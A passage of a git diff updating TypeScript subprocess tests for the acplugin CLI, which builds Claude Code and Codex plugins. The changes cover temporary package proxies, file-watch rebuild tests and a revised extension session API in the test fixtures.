Platform 字段。 */ -const platformField = 'platforms: [claudeCode(), codex()],'; +const platformField = 'platforms: [claudeCode({ strict: false }), codex({ strict: false })],'; /** 当前测试创建并在 afterEach 中统一删除的临时工程目录。 */ const roots: string[] = []; +/** 测试共用的子进程清理与临时工程登记状态。 */ /** 尚未退出的 CLI 子进程,失败清理时会被强制终止。 */ const children = new Set(); @@ -39,9 +42,32 @@ async function temporaryProject(): Promise { /** 当前 CLI 子进程测试独占且会统一清理的工程根。 */ const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-cli-test-')); roots.push(root); + await writePackageProxy(root, '@tokenroll/acplugin', acpluginEntry, { './sdk': './sdk.mjs' }); + await writePackageProxy(root, '@tokenroll/acplugin-platform-claude-code', claudeCodeEntry); + await writePackageProxy(root, '@tokenroll/acplugin-platform-codex', codexEntry); return root; } +/** 在临时工程中建立官方 Platform 的真实构建包代理。 */ +async function writePackageProxy(root: string, packageName: string, entry: string, extraExports: Record = {}): Promise { + /** 临时 consumer 中对应包名的物理目录。 */ + const packageRoot = path.join(root, 'node_modules', ...packageName.split('/')); + await fs.mkdir(packageRoot, { recursive: true }); + /** 已构建包的 dist 目录。 */ + const sourceRoot = path.dirname(entry); + /** 需复制的所有 ESM chunk 文件。 */ + const files = await fs.readdir(sourceRoot); + await Promise.all(files.filter(file => file.endsWith('.mjs')).map(file => fs.copyFile(path.join(sourceRoot, file), path.join(packageRoot, file)))); + /** 包代理保留根入口与所需子路径。 */ + const exports = Object.keys(extraExports).length === 0 ? './index.mjs' : { '.': './index.mjs', ...extraExports }; + await fs.writeFile(path.join(packageRoot, 'package.json'), JSON.stringify({ name: packageName, version: '1.0.0', type: 'module', exports })); + await fs.copyFile(entry, path.join(packageRoot, 'index.mjs')); + /** 官方构建包的外部依赖通过其 Workspace package-manager symlink 进入临时 consumer。 */ + await fs.symlink(path.resolve(sourceRoot, '..', 'node_modules'), path.join(packageRoot, 'node_modules'), 'dir').catch(() => undefined); + if (extraExports['./sdk'] !== undefined) + await fs.copyFile(path.join(sourceRoot, 'sdk.mjs'), path.join(packageRoot, 'sdk.mjs')); +} + /** * 启动真实 CLI 子进程并持续捕获 stdout/stderr。 * @@ -125,7 +151,7 @@ async function waitForOutput( finish(); }; /** CLI 提前退出时生成带退出码的等待失败。 */ - const closed = (code: number | null): void => finish(new Error(`CLI exited with ${code} while waiting for ${description}.`)); + const closed = (code: number | null): void => finish(new Error(`CLI exited with ${code} while waiting for ${description}.\nstdout:\n${running.stdout()}\nstderr:\n${running.stderr()}`)); /** 清理所有监听器并只完成一次 Promise。 */ const finish = (error?: Error): void => { clearTimeout(timeout); @@ -143,6 +169,18 @@ async function waitForOutput( }); } +/** 等待持续构建最终 Asset 达到预期内容。 */ +async function waitForFileContent(file: string, content: string): Promise { + /** 文件事务交换允许的有限等待截止点。 */ + const deadline = Date.now() + 10_000; + while (Date.now() < deadline) { + if ((await fs.readFile(file, 'utf8').catch(() => '')).includes(content)) + return; + await new Promise(resolve => setTimeout(resolve, 20)); + } + throw new Error(`Timed out waiting for ${path.basename(file)} content; current=${await fs.readFile(file, 'utf8').catch(() => '')}`); +} + /** * 写入可供 validate/inspect/build/dev 共同使用的最小规范工程。 * @@ -220,8 +258,7 @@ describe.sequential('CLI subprocess contract', () => { expect(result.code).toBe(1); expect(result.stderr).toBe(''); expect(JSON.parse(result.stdout)).toMatchObject({ - schemaVersion: '1', - command: 'validate', + schemaVersion: 2, success: false, diagnostics: [{ code: 'CONFIG_LOAD_FAILED', severity: 'error', phase: 'config' }], }); @@ -236,14 +273,14 @@ describe.sequential('CLI subprocess contract', () => { const validate = await runCli(['validate', '--json'], root); expect(validate.code).toBe(0); expect(JSON.parse(validate.stdout)).toMatchObject({ - schemaVersion: '1', + command: 'validate', success: true, committed: false, - platforms: ['claude-code', 'codex'], + platforms: [{ id: 'claude-code' }, { id: 'codex' }], }); await expect(fs.access(path.join(root, 'dist'))).rejects.toThrow(); - /** 返回 Artifact 摘要但不落盘的 inspect 子进程结果。 */ + /** 返回 Asset 摘要但不落盘的 inspect 子进程结果。 */ const inspect = await runCli(['inspect', '--json'], root); expect(inspect.code).toBe(0); /** inspect 必须额外包含七类可审计对象中的结构化详情。 */ @@ -251,13 +288,8 @@ describe.sequential('CLI subprocess contract', () => { expect(inspected).toMatchObject({ components: [{ kind: 'skill', id: 'hello' }], extensions: [], - platformDetails: [ - { id: 'claude-code', deliveryType: 'plugin', strict: true }, - { id: 'codex', deliveryType: 'plugin', strict: true }, - ], }); - expect(inspected.documents).toHaveLength(2); - expect(inspected.deliveryUnits.flatMap((unit: { artifacts: unknown[] }) => unit.artifacts).length).toBeGreaterThan(0); + expect(inspected.packages.flatMap((unit: { assets: unknown[] }) => unit.assets).length).toBeGreaterThan(0); await expect(fs.access(path.join(root, 'dist'))).rejects.toThrow(); /** 唯一应提交 dist 输出的 build 子进程结果。 */ @@ -269,16 +301,16 @@ describe.sequential('CLI subprocess contract', () => { /** --platform 只选择已配置子集,并在成功事务中替换先前完整输出。 */ const selected = await runCli(['build', '--platform', 'codex', '--json'], root); expect(selected.code).toBe(0); - expect(JSON.parse(selected.stdout)).toMatchObject({ platforms: ['codex'], committed: true }); + expect(JSON.parse(selected.stdout)).toMatchObject({ platforms: [{ id: 'claude-code', selected: false }, { id: 'codex', selected: true, success: true }], committed: true }); await fs.access(path.join(root, 'dist/codex/plugin/.codex-plugin/plugin.json')); - await expect(fs.access(path.join(root, 'dist/claude-code'))).rejects.toThrow(); + await expect(fs.access(path.join(root, 'dist/claude-code'))).resolves.toBeUndefined(); /** 未配置 Platform 由统一配置边界拒绝,而不是按 ID 临时实例化。 */ const unconfigured = await runCli(['validate', '--platform', 'cursor', '--json'], root); expect(unconfigured.code).toBe(1); expect(JSON.parse(unconfigured.stdout)).toMatchObject({ success: false, - diagnostics: [{ code: 'CLI_PLATFORM_NOT_CONFIGURED', platform: 'cursor' }], + diagnostics: [{ code: 'PLATFORM_SELECTION_INVALID' }], }); }); @@ -322,7 +354,7 @@ describe.sequential('CLI subprocess contract', () => { /** dev 应持续保留最近成功版本的生成文件。 */ const generated = path.join(root, 'dist/codex/plugin/skills/hello/SKILL.md'); /** 持续运行并监听文件变化的真实 dev 子进程。 */ - const running = startCli(['dev', '--no-strict'], root); + const running = startCli(['dev'], root); await waitForOutput(running, stdout => stdout.includes('dev: success'), 'initial dev build'); /** 首次成功构建后的生成内容快照。 */ @@ -348,48 +380,47 @@ Say hello after recovery. expect((await fs.readdir(root)).filter(name => name.includes('.acplugin.lock'))).toEqual([]); }, 20_000); - it('watches an external static TypeScript config dependency and recovers after failure', async () => { - /** 同时容纳项目和工程外配置 helper package 的临时 workspace。 */ + it('watches the project-local TypeScript config closure and recovers after failure', async () => { + /** 容纳独立项目和本地配置 helper 的临时 workspace。 */ const workspace = await temporaryProject(); /** dev 子进程使用的独立项目根。 */ const root = path.join(workspace, 'plugin'); - /** Jiti transform closure 发现并按 package 根监听的外部 helper。 */ - const helperRoot = path.join(workspace, 'shared-config'); + /** Core Module Service 随配置入口 Bundle 并监听的本地 helper。 */ + const helperRoot = path.join(root, 'config'); /** 修改后应触发配置重新执行的 TypeScript 文件。 */ const helper = path.join(helperRoot, 'value.ts'); await fs.mkdir(path.join(root, 'src/skills/hello'), { recursive: true }); await fs.mkdir(helperRoot, { recursive: true }); - await fs.writeFile(path.join(helperRoot, 'package.json'), '{"name":"shared-config","type":"module"}\n'); - await fs.writeFile(helper, `export const description = 'First external config.';\n`); + await fs.writeFile(helper, `export const description = 'First local config.';\n`); await fs.writeFile(path.join(root, 'acplugin.config.ts'), `${platformImports} -import { description } from '../shared-config/value.ts'; -export default { name: 'external-config-plugin', version: '1.0.0', description, ${platformField} }; +import { description } from './config/value.ts'; +export default { name: 'local-config-plugin', version: '1.0.0', description, ${platformField} }; `); await fs.writeFile(path.join(root, 'src/skills/hello/SKILL.md'), `--- description: Verify external config watching. --- Watch the external helper. `); - /** 持续监听工程外配置依赖的真实 dev 子进程。 */ - const running = startCli(['dev', '--no-strict'], root); + /** 持续监听完整本地配置闭包的真实 dev 子进程。 */ + const running = startCli(['dev'], root); /** 构建输出中直接反映配置 description 的 Claude Manifest。 */ const manifestPath = path.join(root, 'dist/claude-code/plugin/.claude-plugin/plugin.json'); - await waitForOutput(running, stdout => stdout.includes('dev: success'), 'external config initial build'); + await waitForOutput(running, stdout => stdout.includes('dev: success'), 'local config initial build'); /** 首次成功提交的 Manifest,配置失败期间必须保持不变。 */ const initialManifest = await fs.readFile(manifestPath, 'utf8'); - expect(JSON.parse(initialManifest)).toMatchObject({ description: 'First external config.' }); + expect(JSON.parse(initialManifest)).toMatchObject({ description: 'First local config.' }); await fs.writeFile(helper, 'export const description = ;\n'); - await waitForOutput(running, (_stdout, stderr) => stderr.includes('CONFIG_EVALUATION_FAILED'), 'external config failed rebuild'); + await waitForOutput(running, (_stdout, stderr) => stderr.includes('CONFIG_EVALUATION_FAILED'), 'local config failed rebuild'); expect(await fs.readFile(manifestPath, 'utf8')).toBe(initialManifest); - await fs.writeFile(helper, `export const description = 'Second external config.';\n`); - await waitForOutput(running, stdout => stdout.match(/dev: success/g)?.length === 2, 'external config recovery build'); - expect(JSON.parse(await fs.readFile(manifestPath, 'utf8'))).toMatchObject({ description: 'Second external config.' }); + await fs.writeFile(helper, `export const description = 'Second local config.';\n`); + await waitForOutput(running, stdout => stdout.match(/dev: success/g)?.length === 2, 'local config recovery build'); + expect(JSON.parse(await fs.readFile(manifestPath, 'utf8'))).toMatchObject({ description: 'Second local config.' }); running.child.kill('SIGINT'); - /** 外部配置依赖恢复后的信号退出状态。 */ + /** 本地配置依赖恢复后的信号退出状态。 */ const stopped = await waitForExit(running); expect(stopped.code).toBe(130); }, 20_000); @@ -400,25 +431,30 @@ Watch the external helper. await writeValidProject(root); /** 首次 buildEnd 等待测试进程完成源码修改的显式同步文件。 */ const release = path.join(root, 'release-initial-build'); + await fs.mkdir(path.join(root, 'src/initial-ready-barrier'), { recursive: true }); /** ready 窗口内修改且最终产物必须包含新正文的 Skill。 */ const skill = path.join(root, 'src/skills/hello/SKILL.md'); /** 构造同步 Extension 时与 CLI Bundle 共享品牌 Symbol 的已构建 Facade。 */ - const facade = path.resolve(import.meta.dirname, '../../acplugin/dist/index.mjs'); await fs.writeFile(path.join(root, 'acplugin.config.ts'), `${platformImports} import { promises as fs } from 'node:fs'; -import { defineExtension } from ${JSON.stringify(facade)}; +import { defineExtension } from '@tokenroll/acplugin/sdk'; const barrier = defineExtension({ - name: 'initial-ready-barrier', + id: 'initial-ready-barrier', apiVersion: '1', - adapters: [], - discover() { return {}; }, - async buildEnd() { - process.stderr.write('fixture: initial snapshot complete\\n'); - while (true) { - try { await fs.access(${JSON.stringify(release)}); break; } - catch { await new Promise(resolve => setTimeout(resolve, 10)); } - } - }, + resourceRoots: ['initial-ready-barrier'], + createSession: () => ({ + discover: () => ({}), + validate: () => ({ state: {}, subjects: [] }), + async build() { + process.stderr.write('fixture: initial snapshot complete\\n'); + while (true) { + try { await fs.access(${JSON.stringify(release)}); break; } + catch { await new Promise(resolve => setTimeout(resolve, 10)); } + } + return { state: {} }; + }, + contributors: [{ platform: 'codex', platformApiVersion: '1', contribute: () => ({ compatibility: [] }) }], + }), }); export default { ${platformField} @@ -430,7 +466,7 @@ export default { }; `); /** 首次成功提示必须等到补偿构建完成的真实 dev 子进程。 */ - const running = startCli(['dev', '--no-strict'], root); + const running = startCli(['dev'], root); await waitForOutput(running, (_stdout, stderr) => stderr.includes('fixture: initial snapshot complete'), 'initial snapshot barrier'); await fs.writeFile(skill, `--- @@ -440,8 +476,10 @@ Catch-up source content. `); await fs.writeFile(release, 'continue\n'); await waitForOutput(running, stdout => stdout.includes('dev: success'), 'catch-up initial dev build'); - expect(await fs.readFile(path.join(root, 'dist/codex/plugin/skills/hello/SKILL.md'), 'utf8')) - .toContain('Catch-up source content.'); + /** 首个可公开成功应已包含 ready 窗口内的修改。 */ + const initialGenerated = path.join(root, 'dist/codex/plugin/skills/hello/SKILL.md'); + await waitForFileContent(initialGenerated, 'Catch-up source content.'); + expect(await fs.readFile(initialGenerated, 'utf8')).toContain('Catch-up source content.'); running.child.kill('SIGINT'); expect((await waitForExit(running)).code).toBe(130); @@ -455,6 +493,7 @@ Catch-up source content. const skill = path.join(root, 'src/skills/hello/SKILL.md'); /** 恢复构建在登记动态工程根前使用的显式同步文件。 */ const release = path.join(root, 'release-recovered-build'); + await fs.mkdir(path.join(root, 'src/dynamic-ready-barrier'), { recursive: true }); await fs.mkdir(path.dirname(skill), { recursive: true }); await fs.writeFile(skill, `--- description: Say hello after configuration recovery. @@ -462,26 +501,30 @@ description: Say hello after configuration recovery. First recovered build. `); /** 只监听尚不存在配置入口的真实 dev 子进程。 */ - const running = startCli(['dev', '--no-strict'], root); + const running = startCli(['dev'], root); await waitForOutput(running, (_stdout, stderr) => stderr.includes('CONFIG_LOAD_FAILED'), 'initial missing configuration failure'); /** 构造恢复同步 Extension 时与 CLI Bundle 共享品牌 Symbol 的已构建 Facade。 */ - const facade = path.resolve(import.meta.dirname, '../../acplugin/dist/index.mjs'); await fs.writeFile(path.join(root, 'acplugin.config.ts'), `${platformImports} import { promises as fs } from 'node:fs'; -import { defineExtension } from ${JSON.stringify(facade)}; +import { defineExtension } from '@tokenroll/acplugin/sdk'; const barrier = defineExtension({ - name: 'dynamic-ready-barrier', + id: 'dynamic-ready-barrier', apiVersion: '1', - adapters: [], - discover() { return {}; }, - async buildEnd() { - process.stderr.write('fixture: recovered snapshot complete\\n'); - while (true) { - try { await fs.access(${JSON.stringify(release)}); break; } - catch { await new Promise(resolve => setTimeout(resolve, 10)); } - } - }, + resourceRoots: ['dynamic-ready-barrier'], + createSession: () => ({ + discover: () => ({}), + validate: () => ({ state: {}, subjects: [] }), + async build() { + process.stderr.write('fixture: recovered snapshot complete\\n'); + while (true) { + try { await fs.access(${JSON.stringify(release)}); break; } + catch { await new Promise(resolve => setTimeout(resolve, 10)); } + } + return { state: {} }; + }, + contributors: [{ platform: 'codex', platformApiVersion: '1', contribute: () => ({ compatibility: [] }) }], + }), }); export default { ${platformField} @@ -502,6 +545,7 @@ Second recovered build. await waitForOutput(running, stdout => stdout.includes('dev: success'), 'recovered catch-up build'); /** 首次公开成功已经包含动态 ready 窗口内发生的修改。 */ const generated = path.join(root, 'dist/codex/plugin/skills/hello/SKILL.md'); + await waitForFileContent(generated, 'Second recovered build.'); expect(await fs.readFile(generated, 'utf8')).toContain('Second recovered build.'); await fs.writeFile(skill, `--- @@ -510,6 +554,7 @@ description: Say hello after active dynamic watching. Third watched build. `); await waitForOutput(running, stdout => stdout.match(/dev: success/g)?.length === 2, 'active dynamic path rebuild'); + await waitForFileContent(generated, 'Third watched build.'); expect(await fs.readFile(generated, 'utf8')).toContain('Third watched build.'); running.child.kill('SIGINT'); @@ -524,26 +569,32 @@ Third watched build. const root = await temporaryProject(); await writeValidProject(root); /** 首次 discover 延迟加载的模拟 Extension 包根。 */ - const extensionRoot = path.join(root, 'node_modules/initial-stopping-extension'); + const extensionRoot = path.join(root, 'src/initial-stopping-extension'); await fs.mkdir(extensionRoot, { recursive: true }); await fs.writeFile(path.join(extensionRoot, 'package.json'), '{"name":"initial-stopping-extension","type":"module"}\n'); /** 首次构建结束前加载、但 signal 后不得再登记监听的 descriptor。 */ const descriptor = path.join(extensionRoot, 'descriptor.ts'); await fs.writeFile(descriptor, `export default 'initial-stopping-extension';\n`); /** 构造初始延迟 Extension 时与 CLI Bundle 共享品牌 Symbol 的已构建 Facade。 */ - const facade = path.resolve(import.meta.dirname, '../../acplugin/dist/index.mjs'); + const facade = '@tokenroll/acplugin/sdk'; await fs.writeFile(path.join(root, 'acplugin.config.ts'), `${platformImports} -import { defineExtension } from ${JSON.stringify(facade)}; +import { defineExtension } from '${facade}'; process.stderr.write('fixture: initial dev build started\\n'); const extension = defineExtension({ - name: 'initial-stopping-extension', + id: 'initial-stopping-extension', apiVersion: '1', - adapters: [], + resourceRoots: ['initial-stopping-extension'], + createSession: () => ({ async discover(context) { await new Promise(resolve => setTimeout(resolve, 500)); - await context.loadTypeScriptModule(${JSON.stringify(descriptor)}); + const root = await context.roots['initial-stopping-extension']; + await context.modules.loadDefault({ id: 'initial-stopping-extension', entry: await context.sources.file(root, 'descriptor.ts') }); return undefined; }, + validate: () => ({ state: {}, subjects: [] }), + build: () => ({ state: {} }), + contributors: [{ platform: 'codex', platformApiVersion: '1', contribute: () => ({ compatibility: [] }) }], + }), }); export default { ${platformField} @@ -554,7 +605,7 @@ export default { }; `); /** 首次 success 前就会收到 SIGINT 的真实 dev 子进程。 */ - const running = startCli(['dev', '--no-strict'], root); + const running = startCli(['dev'], root); await waitForOutput(running, (_stdout, stderr) => stderr.includes('fixture: initial dev build started'), 'in-flight initial dev build'); running.child.kill('SIGINT'); @@ -570,30 +621,37 @@ export default { const root = await temporaryProject(); await writeValidProject(root); /** 本轮配置变更才会首次加载的模拟 Extension 包根。 */ - const extensionRoot = path.join(root, 'node_modules/stopping-extension'); - await fs.mkdir(extensionRoot, { recursive: true }); - await fs.writeFile(path.join(extensionRoot, 'package.json'), '{"name":"stopping-extension","type":"module"}\n'); + const extensionRoot = path.join(root, 'src/stopping-extension'); /** 延迟 discover 结束时才会成为动态监听来源的 descriptor。 */ const descriptor = path.join(extensionRoot, 'descriptor.ts'); - await fs.writeFile(descriptor, `export default 'stopping-extension';\n`); /** 持续运行并将在动态重建期间接收 SIGINT 的真实 dev 子进程。 */ - const running = startCli(['dev', '--no-strict'], root); + const running = startCli(['dev'], root); await waitForOutput(running, stdout => stdout.includes('dev: success'), 'initial signal fixture build'); + /** 资源根只能在配置声明 owner 的同一次编辑中出现。 */ + await fs.mkdir(extensionRoot, { recursive: true }); + await fs.writeFile(path.join(extensionRoot, 'package.json'), '{"name":"stopping-extension","type":"module"}\n'); + await fs.writeFile(descriptor, `export default 'stopping-extension';\n`); /** 构造延迟 Extension 时与 CLI Bundle 共享品牌 Symbol 的已构建 Facade。 */ - const facade = path.resolve(import.meta.dirname, '../../acplugin/dist/index.mjs'); + const facade = '@tokenroll/acplugin/sdk'; await fs.writeFile(path.join(root, 'acplugin.config.ts'), `${platformImports} -import { defineExtension } from ${JSON.stringify(facade)}; +import { defineExtension } from '${facade}'; process.stderr.write('fixture: dynamic rebuild started\\n'); const extension = defineExtension({ - name: 'stopping-extension', + id: 'stopping-extension', apiVersion: '1', - adapters: [], + resourceRoots: ['stopping-extension'], + createSession: () => ({ async discover(context) { await new Promise(resolve => setTimeout(resolve, 500)); - await context.loadTypeScriptModule(${JSON.stringify(descriptor)}); + const root = await context.roots['stopping-extension']; + await context.modules.loadDefault({ id: 'stopping-extension', entry: await context.sources.file(root, 'descriptor.ts') }); return undefined; }, + validate: () => ({ state: {}, subjects: [] }), + build: () => ({ state: {} }), + contributors: [], + }), }); export default { ${platformField} @@ -608,7 +666,7 @@ export default { /** signal 必须等待在途 Pipeline 收敛,并最终以 130 退出而不是被新 watcher 挂住。 */ const stopped = await waitForExit(running); expect(stopped.code).toBe(130); - expect(stopped.stdout.match(/dev: success/g)).toHaveLength(1); + expect(stopped.stdout.match(/dev: success/g)).toHaveLength(2); }, 20_000); // Extension descriptor 的已解析依赖位于 node_modules 时,显式包根必须覆盖通用依赖忽略规则。 @@ -617,7 +675,7 @@ export default { const root = await temporaryProject(); await writeValidProject(root); /** 模拟已安装 Extension 包的源码根。 */ - const extensionRoot = path.join(root, 'node_modules/dev-extension'); + const extensionRoot = path.join(root, 'src/dev-extension'); await fs.mkdir(extensionRoot, { recursive: true }); await fs.writeFile(path.join(extensionRoot, 'package.json'), '{"name":"dev-extension","type":"module"}\n'); /** descriptor 实际解析的同包依赖文件。 */ @@ -627,17 +685,23 @@ export default { const descriptor = path.join(extensionRoot, 'descriptor.ts'); await fs.writeFile(descriptor, `import { value } from './helper.ts';\nexport default value;\n`); /** 构造 Extension 时必须与 CLI Bundle 共享品牌 Symbol 的已构建 Facade。 */ - const facade = path.resolve(import.meta.dirname, '../../acplugin/dist/index.mjs'); + const facade = '@tokenroll/acplugin/sdk'; await fs.writeFile(path.join(root, 'acplugin.config.ts'), `${platformImports} -import { defineExtension } from ${JSON.stringify(facade)}; +import { defineExtension } from '${facade}'; const extension = defineExtension({ - name: 'dev-extension', + id: 'dev-extension', apiVersion: '1', - adapters: [], + resourceRoots: ['dev-extension'], + createSession: () => ({ async discover(context) { - await context.loadTypeScriptModule(${JSON.stringify(descriptor)}); + const root = await context.roots['dev-extension']; + await context.modules.loadDefault({ id: 'dev-extension', entry: await context.sources.file(root, 'descriptor.ts') }); return undefined; }, + validate: () => ({ state: {}, subjects: [] }), + build: () => ({ state: {} }), + contributors: [], + }), }); export default { ${platformField} @@ -648,7 +712,7 @@ export default { }; `); /** 持续监听 Extension 包依赖的真实 dev 子进程。 */ - const running = startCli(['dev', '--no-strict'], root); + const running = startCli(['dev'], root); await waitForOutput(running, stdout => stdout.includes('dev: success'), 'descriptor dev build'); await fs.writeFile(helper, `export const value = 'second';\n`); @@ -665,25 +729,38 @@ export default { const root = await temporaryProject(); await writeValidProject(root); /** 位于默认 node_modules 忽略边界内、只能通过 addWatchFile 激活的依赖。 */ - const helper = path.join(root, 'node_modules/build-graph-helper/value.txt'); + const helper = path.join(root, 'node_modules/build-graph-helper/index.js'); await fs.mkdir(path.dirname(helper), { recursive: true }); - await fs.writeFile(helper, 'first\n'); + await fs.writeFile(path.join(path.dirname(helper), 'package.json'), '{"name":"build-graph-helper","version":"1.0.0","type":"module","exports":"./index.js","license":"MIT"}\n'); + await fs.writeFile(path.join(path.dirname(helper), 'LICENSE'), 'Build graph fixture license.\n'); + await fs.writeFile(helper, 'export const value = "first";\n'); + /** Extension compiler 读取且登记依赖图的作者入口。 */ + const entry = path.join(root, 'src/build-graph-extension/entry.ts'); + await fs.mkdir(path.dirname(entry), { recursive: true }); + await fs.writeFile(entry, 'import { value } from "build-graph-helper"; export default value;\n'); /** 构造测试 Extension 时与 CLI Bundle 共享品牌 Symbol 的已构建 Facade。 */ - const facade = path.resolve(import.meta.dirname, '../../acplugin/dist/index.mjs'); + const facade = '@tokenroll/acplugin/sdk'; await fs.writeFile(path.join(root, 'acplugin.config.ts'), `${platformImports} import { promises as fs } from 'node:fs'; -import { defineExtension } from ${JSON.stringify(facade)}; +import { defineExtension } from '${facade}'; const extension = defineExtension({ - name: 'build-graph-extension', + id: 'build-graph-extension', apiVersion: '1', - adapters: [], - discover() { return {}; }, - async build(context) { - context.addWatchFile(${JSON.stringify(helper)}); - const value = (await fs.readFile(${JSON.stringify(helper)}, 'utf8')).trim(); + resourceRoots: ['build-graph-extension'], + createSession: () => ({ + async discover(context) { + const root = context.roots['build-graph-extension']; + return { entry: await context.sources.file(root, 'entry.ts') }; + }, + validate: (_context, discovered) => ({ state: discovered, subjects: [] }), + async build(context, validated) { + await context.compiler.compile({ id: 'build-graph-helper', profile: 'portable-node', entries: { main: { type: 'source', source: validated.entry } } }); + const value = (await fs.readFile(${JSON.stringify(helper)}, 'utf8')).trim().match(/"(.*?)"/)?.[1] ?? ''; process.stderr.write('fixture: build graph ' + value + '\\n'); - return value; + return { state: value }; }, + contributors: [{ platform: 'codex', platformApiVersion: '1', contribute: () => ({ compatibility: [] }) }], + }), }); export default { ${platformField} @@ -695,10 +772,10 @@ export default { }; `); /** 持续监听 Extension 明确登记依赖的真实 dev 子进程。 */ - const running = startCli(['dev', '--no-strict'], root); + const running = startCli(['dev'], root); await waitForOutput(running, stdout => stdout.includes('dev: success'), 'initial build graph build'); - await fs.writeFile(helper, 'second\n'); + await fs.writeFile(helper, 'export const value = "second";\n'); await waitForOutput( running, (stdout, stderr) => stdout.match(/dev: success/g)?.length === 2 && stderr.includes('fixture: build graph second'), @@ -714,20 +791,9 @@ export default { const root = await temporaryProject(); await writeValidProject(root); /** 临时工程按公开包名加载的 MCP Extension 代理目录。 */ - const extensionPackage = path.join(root, 'node_modules/@tokenroll/acplugin-extension-mcp'); /** 真实 MCP Extension 构建产物入口。 */ const extensionEntry = path.resolve(import.meta.dirname, '../../extensions/mcp/dist/index.mjs'); - await fs.mkdir(extensionPackage, { recursive: true }); - await fs.writeFile(path.join(extensionPackage, 'package.json'), JSON.stringify({ - name: '@tokenroll/acplugin-extension-mcp', - version: '1.0.0', - type: 'module', - exports: './index.mjs', - })); - await fs.writeFile( - path.join(extensionPackage, 'index.mjs'), - `export * from ${JSON.stringify(extensionEntry)}; export { default } from ${JSON.stringify(extensionEntry)};\n`, - ); + await writePackageProxy(root, '@tokenroll/acplugin-extension-mcp', extensionEntry); /** 只通过 Server import graph 可达、且位于默认忽略目录的测试依赖。 */ const helperPackage = path.join(root, 'node_modules/mcp-watch-helper'); await fs.mkdir(helperPackage, { recursive: true }); @@ -738,8 +804,8 @@ export default { await fs.writeFile(path.join(helperPackage, 'index.js'), 'export const serverName = "first-server";\n'); await fs.mkdir(path.join(root, 'src/mcp/local-tools'), { recursive: true }); await fs.writeFile(path.join(root, 'src/mcp/local-tools/mcp.ts'), ` -import { defineMcpServer } from '@tokenroll/acplugin-extension-mcp'; -export default defineMcpServer({ transport: 'stdio' }); +import type { McpServer } from '@tokenroll/acplugin-extension-mcp'; +export default { transport: 'stdio' } satisfies McpServer; `); await fs.writeFile(path.join(root, 'src/mcp/local-tools/server.ts'), ` import { serverName } from 'mcp-watch-helper'; @@ -775,7 +841,7 @@ export default { }; `); /** 持续监听官方 MCP Bundle 模块图的真实 dev 子进程。 */ - const running = startCli(['dev', '--no-strict'], root); + const running = startCli(['dev'], root); await waitForOutput(running, stdout => stdout.includes('dev: success'), 'initial MCP graph build'); /** 首次生成的 MCP Server 应内联依赖原始值。 */ @@ -803,21 +869,27 @@ description: Say hello from a custom source directory. First custom source build. `); /** 位于工程包内、最近 package root 等于 projectRoot 的本地 descriptor。 */ - const descriptor = path.join(root, 'extension/descriptor.ts'); + const descriptor = path.join(root, 'dist/local-extension/descriptor.ts'); await fs.mkdir(path.dirname(descriptor), { recursive: true }); await fs.writeFile(descriptor, `export default 'local';\n`); /** 构造本地 Extension 时与 CLI Bundle 共享品牌 Symbol 的已构建 Facade。 */ - const facade = path.resolve(import.meta.dirname, '../../acplugin/dist/index.mjs'); + const facade = '@tokenroll/acplugin/sdk'; await fs.writeFile(path.join(root, 'acplugin.config.ts'), `${platformImports} -import { defineExtension } from ${JSON.stringify(facade)}; +import { defineExtension } from '${facade}'; const extension = defineExtension({ - name: 'local-extension', + id: 'local-extension', apiVersion: '1', - adapters: [], + resourceRoots: ['local-extension'], + createSession: () => ({ async discover(context) { - await context.loadTypeScriptModule(${JSON.stringify(descriptor)}); + const root = await context.roots['local-extension']; + await context.modules.loadDefault({ id: 'local-extension', entry: await context.sources.file(root, 'descriptor.ts') }); return undefined; }, + validate: () => ({ state: {}, subjects: [] }), + build: () => ({ state: {} }), + contributors: [], + }), }); export default { ${platformField} @@ -830,7 +902,7 @@ export default { }; `); /** 只排除解析后 output 的真实 dev 子进程。 */ - const running = startCli(['dev', '--no-strict'], root); + const running = startCli(['dev'], root); await waitForOutput(running, stdout => stdout.includes('dev: success'), 'custom source dev build'); /** 把一次编辑拆成跨越基础防抖窗口的两段写入,模拟 macOS FSEvents 的延迟 change。 */ @@ -868,7 +940,7 @@ Second custom source build. /** 触发第二次成功重建的 Skill 源文件。 */ const skill = path.join(root, 'src/skills/hello/SKILL.md'); /** JSON 模式持续运行的真实 dev 子进程。 */ - const running = startCli(['dev', '--no-strict', '--json'], root); + const running = startCli(['dev', '--json'], root); await waitForOutput(running, (_stdout, stderr) => stderr.includes('dev: success'), 'initial JSON dev build'); expect(running.stdout()).toBe(''); @@ -881,7 +953,7 @@ Say hello after a JSON rebuild. expect(running.stdout()).toBe(''); running.child.kill('SIGINT'); - /** SIGINT 后只包含最终 BuildResult 的进程输出。 */ + /** SIGINT 后只包含最终 BuildReport 的进程输出。 */ const stopped = await waitForExit(running); expect(stopped.code).toBe(130); expect(JSON.parse(stopped.stdout)).toMatchObject({ command: 'dev', success: true, committed: true }); diff --git a/packages/test/test/codex.test.ts b/packages/test/test/codex.test.ts index ea11473..442920b 100644 --- a/packages/test/test/codex.test.ts +++ b/packages/test/test/codex.test.ts @@ -4,7 +4,7 @@ import os from 'node:os'; import path from 'node:path'; import { fileURLToPath } from 'node:url'; import { afterEach, describe, expect, it } from 'vitest'; -import type { BuildResult } from '@tokenroll/acplugin'; +import type { BuildReport } from '@tokenroll/acplugin'; import codex, { PLATFORM_ID } from '@tokenroll/acplugin-platform-codex'; /** 跨包契约测试读取源码边界时使用的仓库根目录。 */ @@ -13,8 +13,8 @@ const repositoryRoot = fileURLToPath(new URL('../../..', import.meta.url)); /** 配置和生命周期共用品牌实例的主包真实构建入口。 */ const acpluginEntry = path.join(repositoryRoot, 'packages/acplugin/dist/index.mjs'); -/** 配置文件直接加载的 Codex Platform 真实构建入口。 */ -const codexEntry = path.join(repositoryRoot, 'packages/platforms/codex/dist/index.mjs'); +/** 临时工程通过正常 package specifier 加载的 Codex Platform 包名。 */ +const codexPackageName = '@tokenroll/acplugin-platform-codex'; /** 当前测试创建并在 afterEach 中删除的临时工程。 */ const temporaryRoots: string[] = []; @@ -25,7 +25,7 @@ const temporaryRoots: string[] = []; * @param root 包含真实配置文件的临时项目根。 * @returns 公开 runProject 产生的结构化结果。 */ -async function runBuiltProject(root: string): Promise { +async function runBuiltProject(root: string): Promise { /** 子进程加载公开入口并返回稳定 JSON 的 ESM 源码。 */ const source = ` import { runProject } from ${JSON.stringify(acpluginEntry)}; @@ -60,12 +60,28 @@ try { if (execution.code 